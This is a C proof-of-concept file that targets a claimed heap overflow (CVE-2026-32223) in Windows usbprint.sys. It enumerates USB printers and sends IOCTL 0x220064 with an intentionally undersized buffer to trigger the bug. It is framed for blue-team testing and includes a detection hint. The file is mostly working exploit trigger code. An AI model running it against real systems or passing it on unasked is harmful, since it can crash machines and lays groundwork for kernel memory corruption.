// poc_cve_2026_32223.c — CVE-2026-32223 usbprint.sys heap buffer overflow
//
// Bug:    Make1284IdStringFromUsbStrings concatenates MFG+MDL USB strings
//         into a buffer sized by OutputBufferLength; copy_size can exceed it.
// Reach:  DeviceIoControl(IOCTL 0x220064) to USB printer device with
//         a printer whose MFG+MDL descriptors are longer than the buffer.
//
// Expected result:
//   - Pre-KB5083769 (usbprint <= 10.0.26100.7920): heap overflow in
//     usbprint!Make1284IdStringFromUsbStrings when processing long strings.
//   - Patched:   IOCTL rejected or strings truncated safely.
//
// Build (MSVC):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_32223.c
//
// Requirements:
//   - Physical USB printer connected (or USB redirection via RDP/VM)
//   - Printer's MFG and MDL USB string descriptors must be long enough
//     to exceed the OutputBufferLength passed in the IOCTL.
//
// Blue-team note: This requires physical access or USB redirection.
//   Alert on USB printer devices with abnormally long string descriptors.

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#define IOCTL_USBPRINT_GET_1284_ID  0x220064

static BOOL FindUsbPrinter(WCHAR* outPath, DWORD outChars)
{
    // Enumerate USB printer devices
    HDEVINFO hDevInfo = SetupDiGetClassDevs(
        NULL, L"USB", NULL,
        DIGCF_ALLCLASSES | DIGCF_PRESENT | DIGCF_DEVICEINTERFACE
    );
    if (hDevInfo == INVALID_HANDLE_VALUE) {
        printf("[-] SetupDiGetClassDevs failed: %lu\n", GetLastError());
        return FALSE;
    }

    SP_DEVICE_INTERFACE_DATA ifData = { sizeof(ifData) };
    for (DWORD i = 0; SetupDiEnumDeviceInterfaces(hDevInfo, NULL, NULL, i, &ifData); i++) {
        DWORD reqSize = 0;
        SetupDiGetDeviceInterfaceDetailW(hDevInfo, &ifData, NULL, 0, &reqSize, NULL);
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) continue;

        PSP_DEVICE_INTERFACE_DETAIL_DATA_W pDetail =
            (PSP_DEVICE_INTERFACE_DETAIL_DATA_W)HeapAlloc(GetProcessHeap(), 0, reqSize);
        if (!pDetail) continue;
        pDetail->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA_W);

        if (SetupDiGetDeviceInterfaceDetailW(hDevInfo, &ifData, pDetail, reqSize, NULL, NULL)) {
            wcsncpy(outPath, pDetail->DevicePath, outChars - 1);
            outPath[outChars - 1] = L'\0';
            HeapFree(GetProcessHeap(), 0, pDetail);
            SetupDiDestroyDeviceInfoList(hDevInfo);
            return TRUE;
        }
        HeapFree(GetProcessHeap(), 0, pDetail);
    }

    SetupDiDestroyDeviceInfoList(hDevInfo);
    return FALSE;
}

int wmain(void)
{
    WCHAR devicePath[MAX_PATH] = { 0 };

    printf("CVE-2026-32223 - usbprint.sys heap BOF (blue-team crash PoC)\n");
    printf("Expected: pre-KB5083769 → heap overflow with long MFG/MDL strings\n");
    printf("          post-patch    → IOCTL handled safely\n\n");

    // Find a USB printer device
    if (!FindUsbPrinter(devicePath, MAX_PATH)) {
        printf("[-] No USB printer found. Connect a USB printer or use USB redirection.\n");
        printf("[*] Alternatively, manually specify a printer device path.\n");
        return 1;
    }
    printf("[+] Found USB printer: %ws\n", devicePath);

    HANDLE hDevice = CreateFileW(devicePath,
                                 GENERIC_READ | GENERIC_WRITE,
                                 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Open printer failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Opened printer device\n");

    // Send IOCTL 0x220064 with a small OutputBufferLength.
    // If the printer's MFG+MDL strings are long, this triggers the overflow.
    char smallBuf[16] = { 0 };  // Intentionally small buffer
    DWORD returned = 0;

    printf("[*] Sending IOCTL 0x%06X with buffer size %zu...\n",
           IOCTL_USBPRINT_GET_1284_ID, sizeof(smallBuf));

    BOOL ok = DeviceIoControl(
        hDevice,
        IOCTL_USBPRINT_GET_1284_ID,
        NULL, 0,
        smallBuf, sizeof(smallBuf),
        &returned,
        NULL
    );

    if (ok) {
        printf("[+] IOCTL succeeded (returned %lu bytes)\n", returned);
    } else {
        printf("[-] IOCTL failed: %lu\n", GetLastError());
    }

    CloseHandle(hDevice);
    printf("[*] Check for heap corruption / bugcheck in usbprint.sys\n");
    return 0;
}
